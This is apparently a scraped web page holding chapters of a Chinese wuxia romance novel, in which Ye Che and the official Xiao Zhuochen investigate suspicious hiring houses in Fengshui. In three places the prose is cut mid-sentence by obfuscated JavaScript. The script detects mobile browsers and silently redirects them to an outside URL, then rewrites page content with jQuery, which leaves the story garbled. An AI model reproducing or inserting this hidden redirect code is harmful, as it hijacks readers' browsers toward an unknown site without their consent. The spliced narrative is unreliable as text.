为方便赶路,两人出门常以兄妹相称,这次去符山的路程有些远,策马都得走个十来天,两人赶了一天路,在天黑前便进城打算歇一晚再走,能在有人烟的地方好生休息就绝不亏待自己,毕竟谁也不知道哪天就走到鸟不拉屎的地方。 棠溪许久没出门兴奋得很,收拾完便自去街上闲逛,叶澈买了点补给就回了客栈,他进门前习惯性往周围瞧了瞧,却意外和楼下吃酒的客人对上眼,那人很快挪开眼神,叶澈心生警觉,这人是在看他? 叶澈掩了房门在床上静寐片刻,听到棠溪回来的动静便悄悄看了条缝向下看,楼下已经没人,他这才松口气,看来是自己多心,感叹的心还没放回肚子,就听见棠溪房里传来兵器相撞的声音。 叶澈想也不想地冲进去,一条胳膊横出来扣住他肩,反手用力抓着,棠溪见状急道:“放开他!”想救他的步子却被身边黑衣的人拦住,这屋里竟有两个人! 任何对战都讲究快,叶澈攻人下盘,被拦下后不顾自己反手被扣的状态,蛮力向后倒,只听“咔”的声响,那人“啧”了一声放开了他,叶澈借着这股劲回身就是一踢,那人反应极快,已经屈腿来挡,震惊出声:“你就只会这种下三滥招数?” 叶澈抬头看向来人,熟悉的脸映入眼中,只是这次眼神没有那么阴郁。 萧灼尘见他不再动手,这才开口制住那边打得眼红的两人:“都住手。” 棠溪没了掣肘,横刀便要再劈,叶澈已经喊道:“棠妹,这位是京城的萧大人。” 棠溪一进门就被人围攻,打了半天连一个人都没打倒,正火大得很,当即怒道:“什么狗屁萧大人,我……” 言多必失,叶澈只得再说:“京城的大理寺寺卿萧灼尘大人。” 大理寺?棠溪找回理智,憋红着脸半天才咬着牙说:“大人可真了不起,半夜带人闯女子房间。” 不如人的时候就得低头,叶澈叹口气,向前一步问道:“萧大人,您要是看上了这间房,我们让给你们便是。” 说完抬脚就要走,萧灼尘侧身拦住他,看向两人:“走了我还得跟,不如留下把话说清楚,你说呢?叶门主。” 四周安静,叶澈笑道:“看来萧大人认定我是银钩门的人。” 萧灼尘走近他轻声道:“叶老板不认也没关系,也可以聊聊不辞而别的事。”他边说边托起叶澈有些扭曲的右手,稳稳握住手腕位置,轻柔摆弄一下,又用力一拉一推,只听“咔咔”两声响,叶澈痛得眉头轻皱,手上却舒服了很多,这人将他脱臼的手腕接回去了。 见棠溪着急上前,他摇摇头:“没事。”棠溪抿着嘴没说话,回身拿方巾给他固定包扎好。 萧灼尘抱胸靠在门边看他们,似笑非笑道:“两位感情不错,堂妹?我记得叶老板说过没有亲眷。” “出门在外,相处久了都是亲友”,叶澈冷静回他,“那日喝得高兴,思乡,没来得及给大人告别,正好这次一起说了,以后我们各走各路可好。” 萧灼尘摇头:“不好。” 二对二,打不过也逃不掉,叶澈抬眼看他,笑道:“大人若是想跟便跟,我们本就是游历江湖,就当多结交两位朋友。” 萧灼尘伸出手指轻晃:“又错,不是我们跟着你们,是你们,跟着本官去沣水。” 符山向东,沣水向西,萧灼尘就是故意来逮他们的,叶澈淡了笑容,侧头轻声说:“棠溪,去我房里等我。” 棠溪张嘴想拒绝,见他神情严肃,知道这时候说什么都不合适,只好恨恨瞪了一眼萧灼尘转身就走,另一人看着也跟了出去。 叶澈抬手示意两人在桌边坐下,萧灼尘嘲讽问:“不装了?” 叶澈淡然看他:“大人说笑,是大人对草民有偏见,您既然认定我与银钩门有关,甚至不远千里追踪到此,想必是有需要银钩门做的事,不妨直言,银钩门这种小门派都能做的事,说不定我也能做。” 萧灼尘没动,摆着副高高在上的模样:“我的事,只能跟银钩门的门主说,不知道叶老板现在领的是什么身份?” 叶澈行走江湖多年,仗势欺人的见过不少,像萧灼尘这种把人按在地里欺负的确实不多,他心平气和回道:“我做一回叶门主也不是不行。” 不料萧灼尘又说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他就多余问这一嘴,叶澈没说话,各人有各人的路要走,他一介江湖人士,纯属瞎操心。 只听萧灼尘又开口:“只要他那个做太傅的爹还活着,陛下就不会让他出事。” 确实是他瞎操心了,叶澈收回心思,看着对面的人说道:“大人,沣水同行,草民有一事相求。” 半个时辰后,叶澈推开自己房门,棠溪坐在桌前横他一眼:“我不走。” 叶澈哭笑不得,关好门后才说:“大小姐,我还什么都没说。” “我还不知道你”,棠溪气冲冲走来,“这个该死的萧灼尘要带我们去沣水,你肯定会想办法让我走,叶澈,我……” 叶澈伸手按住她,轻轻点了点她的手背,慢悠悠道:“既然你都知道,要是把我这个门主放在眼里的话,就别这么任性,萧大人已经答应我,那位大人会送你回代水城,酒馆想开就开,不想开你就找其他人,多玩两天再回去。” 棠溪瞪大眼睛看他,只见他在自己手背上圈了圈,又眼神示意她怀里的地图,棠溪了然,这是让她想办法跑,到时候在符山汇合。 隔墙有耳,叶澈不敢说得太细,萧灼尘误以为他是门主,倒方便了他们行事,刚才棠溪与那人打得不相上下,若是没有他这个负累,棠溪独自逃跑不难,到时候叫上其他人再去符山,等彻底甩掉萧灼尘后叶澈再去,他就不信,堂堂大理寺卿一天到晚这么闲,还能一直跟着他不成。 棠溪点头,还是觉得委屈,便提高音量:“京城来的真了不起啊,狐狸出山,耀武扬威,也就能欺负姑奶奶,换个武功高强的试试!” 知道她是心里不痛快,叶澈好笑地制止道:“行了。” 棠溪每次出门他都跟着,这次真要放手让她去办这么大的事,叶澈比她还担心,他忍不住说:“路上注意安全,别太鲁莽,有事一定要联系我……” 唠叨的话在棠溪的眼刀下渐渐收回,叶澈笑道:“回去睡吧。” 棠溪轻声“嗯”了一下,走到门口又回身抱住叶澈,耳语道:“我会联系忘忧,别担心,万事小心。” 叶澈轻轻拍她肩膀:“去吧。” 斜对面站着的萧灼尘看着两人冷冷开口:“堂妹既然这么舍不得,还是一起去沣水更好。” 棠溪扭脸就骂:“是你亲戚吗你就叫妹,少来攀扯关系。”说完冲进房间,嘭的一声关门。 叶澈忙抱拳道歉:“舍妹不懂事,大人不记小人过,我替她向大人赔罪。” 边说边拉过房门,继续道:“明天还要早起赶路,祝大人好梦,草民也歇下了。”话音落下,竟也是直接关上了门。 连吃两个闭门羹,萧灼尘沉着脸半天才冷哼一声,进屋去了。 10. 泉庄 许是睡前那通气出得畅快,叶澈一夜无梦。 送走棠溪后,叶澈回屋收拾好东西,才出客栈,迎面就砸来个灰色的包裹。 萧灼尘坐在马上,居高临下看他:“既然要做随从,就得有个随从样。” 叶澈提出让棠溪走时,萧灼尘问道:“在商言商,让她走,我能有什么好处?” 这个时候拿出跟商人交易的嘴脸,实在可恶,叶澈看他:“我可以答应你一个要求,大人不是认定我是银钩门门主,一个不伤害银钩门利益的承诺,够吗?” 反正他不是真的门主,他答应了跟门主毫无关系,叶澈想着,萧灼尘不是说对银钩门有所求,这个承诺应该是说到他心坎里。 不料萧灼尘想了片刻才说:“太远的承诺不可信,不如从现在开始,我会安排人送她回去,没了随从,你来顶上。” 此时此刻叶澈拿着包裹,咬牙切齿道:“知道了,小少爷。” 他是顺口,萧灼尘却突然黑了脸:“叫公子。” 叶澈在这一刻终于相信情报里那个“阴晴不定”的评述,果然,银钩门的情报很准,萧灼尘这人,性格很差。 前往沣水的路好走,萧灼尘名义上是被陛下停职出京散心,实际上是顶着“公主面前红人”的身份办事,一路上少不了被各种接风洗尘。 叶澈跟着好吃好喝到了定陶县,按他们的脚程,再有三日就能到沣水,他还是没打听出萧灼尘非得带着他的原因。 他本以为萧灼尘就是为了折辱“叶门主”,可除了让他拿着包裹,端茶送水的事儿几乎都被当地官员安排的人干完了,萧灼尘整天沉着脸,也看不出心情,叶澈懒得触他霉头,能不伺候就躲个清净,只能背地里牙痒痒的骂两句。 定陶县是个风土人情很丰富的地儿,特别是当地的温汤享誉附近,最神秘的便是灵泽泉庄,那里的水质因纯净甘甜出名,早在十多年前就被泉庄老板赠予当地县令,百姓对于见得少的东西自然诸多猜测,甚至流传过“喝一口灵泽泉水就能延年益寿”的传闻。 如今身处泉庄中心,叶澈又有了一种身处京城的繁华感,温汤不稀奇,稀奇的是为了温汤建造的这间屋子,外面看着还是院墙高耸的朴实模样,进门后处处都是精雕细刻的细节,明珠嵌壁、织锦擦手,摆放有序的古籍孤本,竹林为路障,还有里三层外三层被松柏环抱着大小不一的汤池。 叶澈越看越怪,进城后他确实觉得这地方还算热闹,但也不至于富贵至此,他瞧了眼走在前头的萧灼尘,那人正听着县令的阿谀奉承之词,不外乎是记挂公主,又或是感叹他的年轻有为。 似乎是察觉到他的目光,萧灼尘偏头看了他一眼,泡汤的地方也到了。 这是一个单独的汤池,县令讨好着笑道:“大人远道而来,正好在我们这好好松快松快。”说话间有衣着清凉的婢女托着衣物跟进来。 萧灼尘抬手制止:“东西留下,人不用。” 县令看看叶澈,露出恍然大悟的表情:“好好好,那两位慢慢享受,有需要的话可以敲两下明珠,那儿连着前院的召事铃,会有人来服侍。” 萧灼尘看上去似乎很满意,又问:“确定这是最好的浴池?” 县令连连点头:“您放心,绝对是最好的,也就我亲自带人才能进来,平时我在隔壁那屋。” 萧灼尘挥挥手,县令便带着人悄然离开。 偌大的汤屋静下来,叶澈装模作样道:“大人好好享受,我也……” 萧灼尘打断他的话:“你走了谁服侍我?” 原来刚才把人赶走就为了让他来干这些活?叶澈见他抬起双手,等着人宽衣解带的样子,气极反笑,咬牙切齿走上前:“我也没有服侍过人,做得不好,大人,请,见,谅。” 他扯衣带时带着怒气,每一下都很用力,萧灼尘却跟个没事人样,毫无波澜道:“一路吃好喝好,还能来这地方舒服,叶门主不应该感谢我?” 叶澈宽衣的手一顿,抬头看他:“萧大人觉得,这地方的钱,从哪来的?” 明珠光线柔和,映在叶澈眼里显得格外明亮,萧灼尘皱眉推开他:“这个问题,你刚才应该问县令。” 叶澈垂下眼,也挡住眼里的光亮,萧灼尘忍不住伸手捏住他的下巴抬高,恶狠狠道:“别以为我不知道你在心里骂我。” 叶澈挣开他的手,一脸认真:“大人,你带着我究竟想做什么?” 萧灼尘慢步走进池中,漫不经心道:“好玩,过了今晚你就可以去找你的堂妹,本官玩腻了。” 玩?玩什么?玩扮随从的游戏?叶澈错愕看向他,上前两步,对上那深不见底的眼睛:“既然如此,大人玩得开心。” 他起身就要走,萧灼尘却突然站起来拦住他的腿往下一拉,叶澈猝不及防被他拉下水,眼看就要喝到传说中延年益寿的泉水,腰上有股力量把他往回带,萧灼尘扶着他,见他有些狼狈的模样笑道:“我说了,过完今天。” 叶澈整个人被他摔得乱七八糟,反手就想给人一拳,奈何武力不敌又被拦下,叶澈气极:“萧灼尘,你有病!” 屋里热气腾腾,水气氤氲,叶澈激动之下显得眼睛格外湿润有神,听他直呼姓名,萧灼尘意外挑眉没说话,只是放开他,示意他去角落泡着。 叶澈推开水走到一边坐下,人也冷静下来,不管萧灼尘想做什么,当务之急是跟棠溪汇合,也不知道那丫头有没有顺利逃走。 汤池温暖,不一会叶澈就感觉四肢舒适,呼吸也轻快许多,他往下蹲了一点,水雾入鼻,他轻咳两声,萧灼尘朝他看来,嘲讽道:“一个风寒这么久还没好彻底,你这身体,比新燕馆的姑娘都不如。” 叶澈无语看他:“是,萧大人身体最好,一个人抵得上整个新燕馆的姑娘。” 萧灼尘吃了个不软不硬的钉子,闭目不语,脑中却突然想起刚刚扶住的腰身,柔软可折的感觉,他微微睁眼瞥向那边在池中泡得面红耳赤的人,堂堂男子汉,太过柔弱! 两人收拾完再出来时已月上中天,灵泽泉庄早准备好房间,叶澈还没走到门口就听萧灼尘说:“你现在能走了。” 寒风阵阵,叶澈难以置信回头看向说话的人,这人是认真的,他转身问:“大人,天黑不好赶路,明早我就走。” 萧灼尘脸色平静:“江湖人士应该不拘小节,明早说不定我就改主意了,想走的话现在就离开。” 叶澈见他说完就走,一时怔在原地,等他屋里熄灯后才骂道:“真的有病。” 可萧灼尘若是说真的,那他现在就该走,他看了一眼黑灯的屋子,掉头朝着门外走去,快出泉庄时,有人拦住他,呈上件黑色大氅:“寺卿大人说这是送您的离别礼物,天寒露重,公子路上小心。” 这人究竟要干什么?叶澈拿过氅衣,裹紧后向外走去,半夜寒气重,多穿点没毛病。 路上无人,叶澈越走越冷静,萧灼尘行事奇怪,特意支走他怕是在泉庄有其他安排,他停下来回头看向那个挂着灯笼的地方,黑暗中格外明显,叶澈站定想了片刻,扭头继续向着黑暗中前行。 灵泽泉庄,萧灼尘在黑灯的屋里静坐,当时决定带上叶澈,纯属意外。 现在还不到用银钩门的时候,那日放纵叶澈逃出京城后他便没有派人再跟着。霜刀告诉他在客栈见到叶澈时,萧灼尘不过思虑片刻便决定带着他一起去沣水。 他的确是领了公主密令去沣水找人,可更重要的是他想揪出这些年那人献给公主的财富究竟从哪些地方敛来。 萧灼尘目光低沉,沣水州刺史年年上贡,每年都在翻倍,若是苛税,这片地区却从未有过暴动的消息,饶是还算富裕的江南地段,这几年都常有暴乱发生,这不正常。 州刺史尹源卖布起家,买了个小县令后便官运亨通,自诩“爱财也爱才”,上任州刺史后提携过不少地方官,定陶县县令也是其中之一,可以说京城与沣水的官路几乎都被他打点过,萧灼尘想起一路上见过的庸官嘴脸,心中冷笑,看得出这位州刺史在挑人的目光上别具一格。 萧灼尘领公主密令,出京后却受到沿路官员招待,明访不一定能有结果,那便胡来,在见到州刺史之前,萧灼尘打算借着沿路官员的嘴,给人带去“好逸无能”的名声,他倒要看看,这位州刺史究竟有什么独特的生财之道。 只是这出戏萧灼尘需要一个人来助他完成,叫上霜刀便是此用意,可霜刀习惯使然,对他易带恭敬,恰好这时遇到了叶澈,想起那人一路上不情不愿的“公子长公子短”,萧灼尘微扬嘴角,江湖狗腿子只需发挥本色,就将这出戏做得很好。 “咔” 有人靠近的细微声音,萧灼尘抬眸看向门口,终于来了。 萧灼尘握住腰间软剑,一群黑衣杀手破窗而入,手中利刃在月光下反射出冰冷的光,他们看见端坐在桌边的人,惊讶不过一瞬,就已经提刀砍来。 软剑带鞘,藏着凌厉之意在空中画出弧线,直劈来人,剑光闪烁,满屋都是破空之声交织兵刃相接的动静,萧灼尘微微皱眉,这些人出刀决绝,都是冲着他的命门来的。 眼看屋里的东西打了个乱七八糟,萧灼尘飞身出门,宅院外也有人从屋檐倾身而下,鬼魅般的身影瞬间围住他,和房里出来的杀手对视一眼,又都朝他袭来。 两批?萧灼尘冷眼看人,终于动了真格,抬手挥开剑鞘,打倒了最近的杀手,又直刺冲他命门来的杀手,长剑穿透胸膛,萧灼尘借力逼得人后退,他出招攻势愈发猛烈,利剑染血,杀手们却突然变得有些畏缩。 四周响起急促的脚步声,他听见叶澈大喊的声音:“大人,快救大人!” 他没走?萧灼尘来不及细想,收了软剑,出手格挡,又顺势拎起已经没了气息的死尸,抹了半身血才向人声的方向退去。 叶澈走在前头,边喊边朝着打斗处走,才过转角就看见萧灼尘捂着手鲜血淋漓的走来。他心下一跳,连忙冲上前扶着人:“你伤哪了?流这么多血?” 见他眉间焦灼不似作假,萧灼尘有些意外,做作轻哼一声:“他们在后头追。” 叶澈忙回头对着跟过来的官兵:“快,抓到贼人大人有赏!” “你就这么点功夫怎么不留人保护?”叶澈边说边检查,血迹都在腰腹间,他扒开衣服,干净紧实的流畅线条就这么清晰暴露在眼前,没有伤口。 叶澈慢半拍看他:“你没受伤?” 两人离的很近,叶澈只比他矮半个头,但总喜欢半仰着脑袋看人,萧灼尘曾怀疑这人是在故作天真,这会看清这人眼里的着急情绪,他讽刺的话还是没说出口,只是问:“没受伤,你看够了吗?” “你……” “大人,贼人已拿下。” 叶澈的话被回来报告的人打断,他眼疾手快的把人衣服捂紧,半退的步子被萧灼尘勾肩拦下,这人大半的力量卸到他身上,叶澈不得不伸手扶住装伤的人,见对方一副看你收场的模样,他模棱说道:“先把他们压下去看好,大人受伤,请大夫来诊。” 很聪明,萧灼尘赞许地看他,顺势歪头靠在他肩上,低声道:“去你房间。” 叶澈咬着牙说:“大哥,你很重。” 萧灼尘不满啧了一声,收力轻倚,叶澈这才拖着人回了房间。 刚关上门,叶澈甩开身上重量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492693|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还没说话那人已经质问他:“为什么回来?” 事出反常必有妖,萧灼尘不想他掺和的事,叶澈也没有太大兴趣,可这次萧灼尘只身在外,唯一的随从还跟着棠溪走了,叶澈没办法不担心他的安全。 是不是身处危险,才故意支开他?叶澈认真想过后又觉得,真有危险萧灼尘应该会先拉他挡刀,不至于那么好心特地送他走。 可人就是这样,一旦念头心起,就很难轻易放弃,叶澈越是觉得他不会这么好心,就越好奇这人要做的事。 叶澈都已经快走到镇口,还是回了头,他决定就远远的瞧一眼便走,只要知道人没事就行。 只是人还没到泉庄,他已经远远看见几个黑影跳过高墙进了院中,一看便知来者不善。 夜黑风高,黑衣持刀,他和小少爷,叶澈恍惚间觉得自己回到了当年宇文府被灭门的夜晚,他没时间想太多便叫上了庄子上的护卫,泉庄的人训练有素,听见声响时已经准备好来探,这才有了他领着人撞见萧灼尘满身是血的那一幕。 此刻冷静下来,叶澈觉得自己太过可笑,萧灼尘没有伤却故意染一身血,这是在做局,小少爷早已不是当年无助可欺的人,是他自以为是,愚蠢至此,居然分不清当年的孩子和如今的煞神。 叶澈没有说话,只是静静站在那儿没动,黑色大氅将整个人都裹住,脖颈处的系带因为被人压过的缘故有些歪歪扭扭,露出里面淡青色的外衣,整个人似乎在这个房间,又似乎已经离开。 萧灼尘不喜欢这种感觉,他向前凑近问:“你在生气?为什么?” 这是他今晚第二次发问,他不明白叶澈为什么去而又返,也不明白刚刚还满脸担心的人现在为什么突然露出如此冷漠的表情。 叶澈抬眼看他,后退半步,拱手道:“草民搅乱大人的安排,是草民无知。” 萧灼尘皱眉看他,逼近一步:“回答我的问题。” 叶澈看着近在咫尺的那张脸,他从没想过小少爷长大以后的模样,但萧灼尘长得很好,比他见过的所有人都好看,剑眉星目,棱角分明,虽然大多数时候那双眼都阴沉着充满攻击性,就像现在一样,但看得出是集合了父母的长相优点。 他听见自己淡然开口:“我希望你活着。” 从宇文府逃出的那晚,叶澈将小少爷的生死放在了第一位,他希望宇文家的后人好好活着,希望小少爷健康成长,他感念宇文府短暂的温暖,所以客栈失火,被故意抛下,他也不曾怨过任何人,只要小少爷活着就行。 萧灼尘,我希望你好好活着。 叶澈目光清朗,比正午的湖面还明亮,他就这么直勾勾看着萧灼尘,又说:“我没有生气,只是希望大人不要怪罪我的鲁莽行为。” 两人四目相对片刻,萧灼尘挪开眼才说:“你没有搅乱,做得很好。” 叶澈垂目看地:“那就好,大人先忙,草民先告退。” 房门刚被拉开,又被人猛地关上,叶澈被人拽着抵在门上,萧灼尘下手不重,但刚好将人卡在门后不得动弹,叶澈无奈说道:“大人,你说过今晚不会拦我。” 萧灼尘伸出食指抵在他的唇上,这人说话不好听,嘴唇却很柔软,萧灼尘也不知道自己拦住他想做什么,叶澈已经有意无意的帮他做足了戏,接下来他自己行动会更方便。 可他就是觉得不能让这人就这么走,萧灼尘拧眉没说话,他感觉哪里不对劲,却又说不上来,只能先下手为强。 叶澈被他压着不得动弹,见他半天不说话也恼意上头,猛地出拳击向对方腹部,叶澈都做好被挡回来的准备,却一拳扎扎实实打在了结实的肌肉上。 打人的和被打的都当场愣住。 门外有人敲门:“大人,大夫来了。” 萧灼尘不爽的情绪找到出口,咬牙切齿骂道:“滚,药留下,人都滚。” 使了全力的拳头砸在腹部,倒让他的声音真有了点受伤的感觉,叶澈惊讶看他,这人难道是故意计算好时间受这一拳,让受伤的戏码更真一些?太有心计。 屋内烛光跳动,清晰映着两人的身影,屋外的下人挤眉弄眼指了指几乎快要叠成一个人的身影,拉着还想看看伤者忙不迭走了。 萧灼尘听着门外没了动静,才拖着人在桌边坐下:“晚了,你现在走我不好交待。” 叶澈听得莫名其妙:“大人要向谁交待?” 是啊,他需要向谁交待?萧灼尘沉下脸:“既然你都知道我有其他计划,当然不能随便放你走。” 叶澈真心实意说:“大人,我不知道你的计划,我只是碰巧回来遇见了贼人想伤害您,但很明显,您武艺高强,以一敌众,这些喽啰完全不是您的对手,无需担心。” 既然如此,萧灼尘果断开口:“我要假装在这里养几天伤,实际上去沣水调查一个人。” 不等叶澈做出反应,他又继续说:“今晚的刺杀有一半人是我安排的,还有一些我猜是陛下的人,他经常派人杀我。” 叶澈的注意跑偏:“他经常派人杀你?因为你是公主的人?” 不料萧灼尘半眯着眼看他:“你确实很关心我,叶澈,为什么?” 这人带血的衣服还没换下,看着可怖,脸上却一副看好戏的模样,叶澈无语:“我有病。” 似乎是很满意他这个答案,萧灼尘起身拍拍手,笑道:“正好,大夫送了药,总之你现在什么都知道,我不能放你走。” 被逼着听了计划的叶澈看着他笑着将门口的药拿进来,情报又一次对上了,突然生气又突然心情变好,确实喜怒无常。 叶澈忍无可忍,还是骂出声:“有病。” 11. 失踪 从京城来的大理寺寺卿在定陶县遇刺受伤,不得不留在灵泽泉庄养伤休息,寺卿大人震怒,不允许任何人靠近后院,连县令都被拒挡在外,每顿茶饭伤药只准送到门口,不过一日时间流言飞嚣,都说受伤事小,其实是大人养了个喜欢的小倌儿在后院才不准人进。 这些话传得满天飞的时候,叶澈已经在萧灼尘快马加鞭的催促下,赶到了沣水城附近。 看见城门时,两人赶走了马,跟着进城的行人慢慢向前,昨夜在泉庄,叶澈刚眯着一会,就被萧灼尘捞起来赶路,想起留在泉庄假扮寺卿大人的人,还有上次在客栈和棠溪过招的人,看来萧灼尘私下有自己的人手,不同于大理寺官兵的松散,这些人武艺高强,各有奇招,还对他很忠心。 会是公主的人吗?叶澈想得专心,差一点就踩上前面的人。 萧灼尘在旁边拉他一把:“眼睛放哪了?” 叶澈装傻充愣:“在脸上,你没看到?” 萧灼尘发现,自打拦住他走后,叶澈对人的态度就变了,之前他还时不时恭敬叫声“大人”,就算是违心也会故作谦卑的姿态,好好扮演着随从,现在叶澈甩脸怼人已经是常态,果然这才是这人的真面目。 他只是意外,自己居然不觉得叶澈这副嘴脸可憎,萧灼尘心生怪异又很快想通,一定是早有心理准备的原因。 沣水城进进出出的人很多,两人刚进城没多久便发现路边到处贴满招工的告示,无论是小商贩的板车还是路边的酒楼,肉眼可见处都是不同颜色的招工单,密密麻麻写满了内容,叶澈停在酒楼前一目十行地查看内容。 有小二见两人停下,迎上前来:“你们要找活,去‘才缘轩’报名就行。” 萧灼尘边走边说:“我们吃饭。” 小二跟着他往里进,笑着客气道:“两位客官是刚来我们沣水城吗?路过还是玩几天?” 萧灼尘面色不耐,看了眼叶澈才说:“话那么多,先上两壶好茶。” 叶澈很不想懂他的眼色,偏偏已经明白他的意思,只好扮上和气的神色问道:“我们来玩几天,你们这很缺人吗?怎么到处都在招人?” 小二轻轻挥手:“倒也没那么缺人,就是随便挂挂。” 叶澈看他:“随便挂?那你刚才说去那个什么地方报名就行?” “才缘轩”,小二陪着笑,“看两位初来乍到,还没逛过我们沣水城吧,才缘轩是最大的招工处,大家想找活都能去那里登记,等着人安排就行,这也算是我们这地儿的特色。” 叶澈疑惑:“你们招人也得去那里登记?” “是呀!”小二脸上有些自豪,“招人的和找活的都得去登记,方便极了,我就是才缘轩介绍来的。” 听上去倒确实是个帮助百姓生活的好方法,叶澈点点头:“你们这有多少招工的地方?” 小二边布茶边回:“零零散散的有十多个,但才缘轩和荐贤居最好,他们门面最大,比较可靠。” 来的路上萧灼尘已经说过,他来沣水城是为了州刺史尹源,叶澈想了想又说:“再大也没出沣水城,看来州刺史还得再加把劲。” 不料小二笑道:“公子说笑了,方圆百里,您随便找两个人问问,肯定都听说过这两家招工处,我们都嫌为此来沣水的人太多,可希望刺史大人别再使劲了。” 他们一路过来,在进城前连半张告示都没看到过,两人眼神交换,萧灼尘不屑开口:“挺会吹,本公子游玩到这,怎么没遇到说要找活的人。” 见他们不信,小二肯定道:“两位公子是官道来的吧,找活的人都在偏点的地方,没看见他们也很正常。” 叶澈插嘴问:“那沣水城怎么这么明显?” 小二左右看看才轻声道:“这不一样,咱这儿是发家地,再说有御史大人坐镇,不怕出乱子,小地方人多混杂,得慢慢来。” 这话听着奇怪,既然是个帮人招工的地方,能出什么乱子?叶澈追问:“以前出过什么乱子?” 见他们越问越细,小二有些迟疑:“两位公子真不是来找活的?” 叶澈抬手比划:“看不见我们家公子的金簪吗?” 萧灼尘头上金簪闪闪,再配上那张眼神凶恶的脸,确实是一副有钱不好惹的模样,小二讪笑道:“小的眼拙,就聊个闲话,两位随便听听,前两年有人在才缘轩门口撞死,听说是找的活不顺心,御史大人为此封禁了才缘轩好几个月,要我说这就是想不开,这年头能挣钱就行,哪有那么多称心如意,才缘轩也是倒霉,要不是御史大人出面,这店都开不下去,那我们其他人怎么办。” 萧灼尘微微皱眉:“没有这种地方,你们就找不到活吗?” 小二偷偷比了个三,小声说:“同样的活,通过在这些地方找到的,比自己找的活要多三钱,我没来这之前在其他酒楼干活,挣得就少。” 见萧灼尘没再说话,叶澈掏出两个铜钱放桌上:“先下去吧,有事再叫你。” 小二喜滋滋接过,欢快道:“两位公子要是没事也可以去那边看看,就在城南入口那块,很显眼的招牌。” 城南街道,两块金色的招牌对映,巨大的“才缘轩”“荐贤居”,不一样的题字风格,差不多的豪气,楼体上各有精雕细琢的石料,黑色的瓦檐端庄肃穆,山水花鸟的壁画从高处垂挂落下,在风中轻轻晃动,灵动有趣。 两家店门口都各自站着高大壮实的护卫,叶澈张望着看了看:“确实显眼。” 见他已是一脸跃跃欲试的模样,萧灼尘转身走到他面前站定:“你要帮我?” 叶澈被他问得一愣:“你带上我不就是为了帮忙?”他想得透彻,萧灼尘非得带上他怕是有事安排他又不想细说,叶澈仔细考虑过,这人因为苗若歌才来查尹源,他跟着说不定还能远远帮上那位清正的谏言官一把。 那种怪异的感觉又起,萧灼尘看着面前的人有些语塞,他带上叶澈是为了帮自己?问心茫然,一时无果,他甩开念头看向两家店,点头道:“也好,一人一家,你先选。” 叶澈指指自己头顶的方向:“要不你把金簪取了再说。”还好这人衣着低调,要不然两人还得先去趟成衣店铺。 萧灼尘反手拔下金簪,又伸手取下叶澈头上的树枝给自己插上:“行了。” 不问自取,强盗行为,叶澈无语看着他这顺手牵羊的动作,扭脸就朝着荐贤居的方向走去,又听他带笑的声音落在身后:“一个时辰后这里见。” 叶澈摆摆手,头也不回的走了。 荐贤居里倒是没有想象中的华丽,人挤人堆在不同的位置,看上去似乎正在讨论工价的问题,每个转角处都站着统一服饰的护卫,叶澈站在门边不到半刻钟,就有穿着短袄的年轻女人走来,笑问:“弟弟是来找活吗?” 女人自称“霞姐”,专门负责初步筛选人才,叶澈跟她聊了一会便被带进茶室,听说他是外地人霞姐热心道:“咱们沣水城热情好客,弟弟要是有其他需要帮忙的地方都可以说。” 茶室竹帘低垂,挡住了外面大厅的喧闹声,几人在屋里聊得开心,为首的更是直接拍板今天就能让叶澈见工,叶澈欣喜道:“那太好了,我去给我哥说一声就行。” 几人神情微滞,霞姐笑问:“你刚不是说家中无亲人,原来还有哥哥的?” 叶澈装作视而不见,满脸天真道:“路上认的,他去对面找活了,我俩商量好看哪边工钱高点就去哪边。” 闻言几人开怀大笑,为首那人姓张,张老板笑道:“放心,我们给你的肯定比你哥的高,霞姐送送人,哥哥要是有兴趣的话也可以来我们这边瞧瞧。” 叶澈大喜:“那太好了,我问问他。” 另一边萧灼尘已经出了才缘轩后原地等待半天,算时间已经过去一个多时辰,正要进去探探就见叶澈欢天喜地的模样出了门,身边还跟着个年轻女人。 萧灼尘站着没动,远远招手,叶澈面带喜色喊道:“萧哥!” 萧灼尘挥舞的手定在空中,看着人欢快跑到自己面前才收回手,微不可闻的声音说道:“要演什么?” 叶澈回头看看那个女人,假笑着拉着他走开两步才敛了笑意:“你那边没问题?” 萧灼尘看着他拽着自己不放的手,也瞥了眼那女人才说:“有,护卫过多,太过热情。” “我的也是”,叶澈凑近他小声说,“我答应去做工,他们说帮我找个包食宿的活,你等我消息。” 萧灼尘皱眉按住他:“不用,我自己来。”这人没有武功,万一遇到危险他上哪去救人。 像是看破他的心思,叶澈拍拍他:“放心,我跑得很快,不会有危险。” 不入虎穴焉得虎子,沣水城铺天盖地的招工告示乍看之下没有问题,可刚才在荐贤居里叶澈瞧得清楚,那几人衣着打扮都格外张扬,茶室摆着的金丝楠木佛雕更是价值不菲,他好歹也是做过几年酒馆的人,若是正经经商,这其中利润来源实在经不住仔细推敲。 这些人对他这个外地人的热情实在太盛,叶澈怀疑这地方是借着工作的由头做人肉贩子的交易,他曾在南边见过,只是当时遇见的人多是自愿买卖,他也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492694|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 